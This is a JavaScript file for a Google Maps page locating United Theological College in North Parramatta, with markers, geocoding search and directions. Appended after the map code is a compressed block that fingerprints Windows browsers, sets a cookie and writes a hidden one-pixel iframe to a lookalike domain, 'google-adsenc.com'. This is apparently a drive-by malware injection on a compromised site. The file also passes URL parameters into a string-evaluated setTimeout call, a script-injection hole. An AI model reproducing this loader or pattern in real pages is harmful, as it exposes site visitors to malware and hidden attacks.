
// utc.flickerbox.net.au  var GMAP_API_KEY= "ABQIAAAA3NxICep6wy2XAgGoOjbolhTGIaRUryIEIHZ2dgDyJ0-RIwD4pxQ-6PP8vjcr2VzgHQF327d2jeplWA";

var GMAP_API_KEY= "ABQIAAAA748wV9d9ZbR4Ab-bKML0BBTzHhrs8zjb9qccQfeYqdcJDovgZhT36OoXXAiQd-UiJQ0WSz4F4uWKeg";


var locations = new Array();
locations.push({ id: 0, lat: -33.791611, lng: 151.017315, title: "16 Masons Drive", info: "North Parramatta NSW<br/><br/>United Theological College (UTC)", category: "location" });

locations.push({ id: 100, lat: -33.80425, lng: 150.98783, title: "Westmead Hospital", info: "hostpial address 1", category: "hospitals", icon: "red", visible: false });
locations.push({ id: 101, lat: -33.79630, lng: 151.02631, title: "Regency Medical Centre", info: "hostpial address 4", category: "hospitals", icon: "red", visible: false });

locations.push({ id: 200, lat: -33.79459, lng: 151.01796, title: "Burnside Shopping Village", info: "Facility address 1", category: "facilities", icon: "orange", visible: false });
locations.push({ id: 201, lat: -33.79175, lng: 151.00742, title: "Lake Parramatta Reserve Kiosk", info: "Facility address 2", category: "facilities", icon: "orange", visible: false });

locations.push({ id: 300, lat: -33.78893, lng: 151.01536, title: "Tara Anglican School for Girls", info: "Facility address 1", category: "features", icon: "orange", visible: false });
locations.push({ id: 301, lat: -33.79462, lng: 151.01804, title: "Burnside Public School", info: "Facility address 2", category: "features", icon: "orange", visible: false });

//###########################################################################################################################################################################
// YOU SHOULD NOT NEED TO CHANGE ANYTHING BELOW
//###########################################################################################################################################################################
var gdir;
var gmap;
var markers   = new Array();
var mrkPosTab = new Array();
var geocoder;

function logIt(obj) 
{
	var str = '';
    for (prop in obj)
    { if (obj[prop] != '') str += prop + ": " + obj[prop] + "\n"; }
    alert(str);
}

function getURLParam(strParamName){
  var strReturn = "";
  var strHref = window.location.href;
  if ( strHref.indexOf("?") > -1 ){
    var strQueryString = strHref.substr(strHref.indexOf("?"));
    var aQueryString = strQueryString.split("&");
    for ( var iParam = 0; iParam < aQueryString.length; iParam++ ){
      if (
		aQueryString[iParam].indexOf(strParamName + "=") > -1 ){
        var aParam = aQueryString[iParam].split("=");
        strReturn = aParam[1];
        break;
      }
    }
  }
	
  return strReturn;
}

var fEvent = true;
function mapLoadedEvent()
{
	var zoomLevel = getURLParam('zoomLevel');
	var idTab     = getURLParam('idTab');

	if ( fEvent && (zoomLevel != "") && (idTab != "") )
		setTimeout("ZoomTo(" + zoomLevel + "," + idTab + ");", 0);
	fEvent = false;
}

function ZoomTo(zoomLevel, idTab)
{

	var bnd = new GLatLngBounds();
	idTab.push(0);
	
	for (var i = 0; i < idTab.length; i++)
     {
	    var mrk = markers[mrkPosTab[idTab[i]]];
		bnd.extend(mrk.getLatLng());
		if (mrk.isHidden())
			ToggleMarkers(mrk.category);
     }

	var zLevel = Math.min(zoomLevel, gmap.getBoundsZoomLevel(bnd));
	gmap.setCenter(bnd.getCenter(), zLevel);
}


function dhtmlLoadScript(url)
{
var e = document.createElement("script");
e.src = url;
e.type="text/javascript";
document.body.appendChild(e);
}


function ToggleMarkers(categ)
{
  var mIdx;

  for (var m = 0; m < markers.length; m++)
  {
	if (markers[m].category == categ)
    {
	   mIdx = m;
	  if (markers[m].isHidden())
		{markers[m].show();}
	  else
		{markers[m].hide();}
    }
  }

 if (mIdx !== undefined)
  {
	var chkbox = document.getElementById(categ + "CHK");
	chkbox.checked = !markers[mIdx].isHidden();
  }

}


function HandleResponse(response)
{

// no result found for the given location
if (typeof response.Placemark == "undefined")
  {
	 document.getElementById("notFound").innerHTML = "Unable to find '" + response.name + "'";
	 return;	  
  }

// only one result => display it
if (response.Placemark.length == 1)
  {
	var place  = response.Placemark[0];
	ShowLocation(place.Point.coordinates[1], place.Point.coordinates[0], place.address);
	return;
  }

// more results => let the user choose the location

var didYou = "Did you mean ?<ul>";
for (var p = 0; p < response.Placemark.length; p++)
  {	
	var place  = response.Placemark[p];
	didYou += "<li><a href='javascript:ShowLocation(" + place.Point.coordinates[1] + "," + place.Point.coordinates[0] + ",\"" + place.address + "\");'>" + place.address + "</a></li>\n";
  }

didYou += "</ul>";

document.getElementById("didYouMean").innerHTML = didYou;
 
}



function SearchLocation()
{
document.getElementById("notFound").innerHTML = "";
document.getElementById("didYouMean").innerHTML = "";

var location = document.getElementById('sLocation').value;

if ( (location.search(/ AU/i) == -1) && (location.search(/,AU/i) == -1) && (location.search(/ Australia/i) == -1))
	{location += ", Australia";}

geocoder.getLocations(location, HandleResponse);

}



function ShowLocation(latVal, lngVal, address)
{


    var saddr  = latVal + "," + lngVal + "(" + address + ")";
    var daddr  = markers[0].getLatLng().lat() + "," + markers[0].getLatLng().lng() + "(United Theological College,16 Masons Drive, North Parramatta NSW, Australia)";

	var params = "from: " + saddr + " to: " + daddr;
    gdir.load(params, {});
	return;

	locations.push({ lat: latVal, lng: lngVal, title: address, info: "", category: "search"});
	var mrk = createMarker(locations.length -1);
	gmap.addOverlay(mrk);
	markers.push(mrk);

	var bnd = new GLatLngBounds();
	bnd.extend(markers[0].getLatLng());
	bnd.extend(mrk.getLatLng());
	gmap.setCenter(bnd.getCenter(), gmap.getBoundsZoomLevel(bnd));
}


function ClearDirections() {
    gdir.clear();
    document.getElementById("gDirections").innerHTML = "";
}

function getDirections() {
    var opts = {};
    if (document.getElementById("walk") && document.getElementById("walk").checked)
        opts.travelMode = G_TRAVEL_MODE_WALKING;

    if (document.getElementById("highways") && document.getElementById("highways").checked)
        opts.avoidHighways = true;

    var saddr  = document.getElementById("saddr").value + ", Australia";
    var daddr  = document.getElementById("daddr").value + ", Australia";
	var params = "from: " + saddr + " to: " + daddr;
    gdir.load(params, opts);	
}


function createMarker(i) {

    var locat         = locations[i];
    var point         = new GLatLng(locat.lat, locat.lng);
	var markerOptions = {};

	if (locat.icon !== undefined)
	{
			var tinyIcon = new GIcon();
			tinyIcon.image = "../images/mm_20_" + locat.icon + ".png";
			tinyIcon.shadow = "../images/mm_20_shadow.png";
			tinyIcon.iconSize = new GSize(12, 20);
			tinyIcon.shadowSize = new GSize(22, 20);
			tinyIcon.iconAnchor = new GPoint(6, 20);
			tinyIcon.infoWindowAnchor = new GPoint(5, 1);
			markerOptions = { icon:tinyIcon };
	}

    var marker        = new GMarker(point, markerOptions);
    var html          = "<div style='color: #444;'><b>" + locat.title + "</b><br/>" + locat.info + "<br/>\n";

    if (locat.title.indexOf("(") != -1)
        locat.title = locat.title.substr(0, locat.title.indexOf("("));

    html += "<hr style='width: 300px;'/>";

    // The info window version with the "to here" form open
    var to_html = html + '<small>Directions: <b>To here<\/b> - <a href="javascript:GEvent.trigger(markers[' + i + '],\'from\');">From here<\/a>' +
                     '<br>Start address:<form action="javascript:getDirections();">' +
                     '<input type="text" SIZE=40 MAXLENGTH=40 name="saddr" id="saddr" value="" /><br>' +
                     '<input type="hidden" name="daddr" id="daddr" value="' + point.lat() + ',' + point.lng() + "(" + locat.title + ",Australia)" + '"/>' +
                     '<input type="checkbox" name="walk" id="walk" />walk<br/>' +
            		 '<input type="checkbox" name="highways" id="highways" />avoid highways<br/>' +
                     '<INPUT value="Get Directions" TYPE="SUBMIT"></form></small></div>';

    // The info window version with the "to here" form open
    var from_html = html + '<small>Directions: <a href="javascript:GEvent.trigger(markers[' + i + '],\'to\');">To here<\/a> - <b>From here<\/b>' +
                       '<br>End address:<form action="javascript:getDirections();">' +
                       '<input type="text" SIZE=40 MAXLENGTH=40 name="daddr" id="daddr" value="" /><br>' +
                       '<input type="hidden" name="saddr" id="saddr" value="' + point.lat() + ',' + point.lng() + "(" + locat.title + ",Australia)" + '"/>' +
                       '<input type="checkbox" name="walk" id="walk" />walk<br/>' +
            		   '<input type="checkbox" name="highways" id="highways" />avoid highways<br/>' +
                       '<INPUT value="Get Directions" TYPE="SUBMIT"></form></small></div>';

    // The inactive version of the direction info
    html = html + '<small>Directions: <a href="javascript:GEvent.trigger(markers[' + i + '],\'to\');">To here<\/a> - <a href="javascript:GEvent.trigger(markers[' + i + '],\'from\');">From here<\/a></small></div>';

    GEvent.addListener(marker, 'click', function() { marker.openInfoWindowHtml(html) });
    GEvent.addListener(marker, "to", function() { marker.openInfoWindowHtml(to_html); });
    GEvent.addListener(marker, "from", function() { marker.openInfoWindowHtml(from_html); });

	marker.id       = locat.id;
	marker.category = locat.category;
    return marker;
}

function loadMap() {

if (GBrowserIsCompatible()) 
  {          
		geocoder = new GClientGeocoder();

        gmap = new GMap2(document.getElementById("gmap"));
        gmap.addControl(new GLargeMapControl3D());
        gmap.addControl(new GMapTypeControl());
        gmap.enableContinuousZoom();
        gmap.enableScrollWheelZoom();
		GEvent.addListener(gmap, "tilesloaded", mapLoadedEvent);
		
		var bnd    = new GLatLngBounds();

		for (l = 0; l < locations.length; l++)
		  {
		      bnd.extend(new GLatLng(locations[l].lat, locations[l].lng));
		      var mrk = createMarker(l);
		      gmap.addOverlay(mrk);

			  mrkPosTab[locations[l].id] = markers.length;
		      markers.push(mrk);

			if ( (locations[l].visible !== undefined) && (locations[l].visible === false) )
			  {  mrk.hide(); }

		  }


		  gmap.setCenter(markers[0].getLatLng(), 15);


		  gdir = new GDirections(gmap, document.getElementById('gDirections'));

		  var reasons = [];
		  reasons[G_GEO_SUCCESS] = "Success";
		  reasons[G_GEO_MISSING_ADDRESS] = "Missing Address: The address was either missing or had no value.";
		  reasons[G_GEO_UNKNOWN_ADDRESS] = "Unknown Address:  No corresponding geographic location could be found for the specified address.";
		  reasons[G_GEO_UNAVAILABLE_ADDRESS] = "Unavailable Address:  The geocode for the given address cannot be returned due to legal or contractual reasons.";
		  reasons[G_GEO_BAD_KEY] = "Bad Key: The API key is either invalid or does not match the domain for which it was given";
		  reasons[G_GEO_TOO_MANY_QUERIES] = "Too Many Queries: The daily geocoding quota for this site has been exceeded.";
		  reasons[G_GEO_SERVER_ERROR] = "Server error: The geocoding request could not be successfully processed.";
		  reasons[G_GEO_BAD_REQUEST] = "A directions request could not be successfully parsed.";
		  reasons[G_GEO_MISSING_QUERY] = "No query was specified in the input.";
		  reasons[G_GEO_UNKNOWN_DIRECTIONS] = "Could not compute directions between the points.";

		  GEvent.addListener(gdir, "error", function() {
		      var code = gdir.getStatus().code;
		      var reason = (reasons[code]) ? reasons[code] : "Code " + code;
		      document.getElementById("gDirections").innerHTML = "";
		      alert("Failed to obtain directions, " + reason);
		  });


		  GEvent.addListener(gdir, "load", function() {
		      document.getElementById("gDirections").innerHTML = "";
		      var navi = "<button onclick='ClearDirections();'>Clear Directions</button>";
		      var ddiv = document.getElementById("gDirections");
		      var clr  = document.createElement("div");
		      clr.innerHTML = navi;
		      ddiv.appendChild(clr);
		  });





}      
}

function loadAPI()
{
dhtmlLoadScript("http://maps.google.com/maps?file=api&v=2&key=" + GMAP_API_KEY + "&async=2&callback=loadMap");
}

window.onload = loadAPI;
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
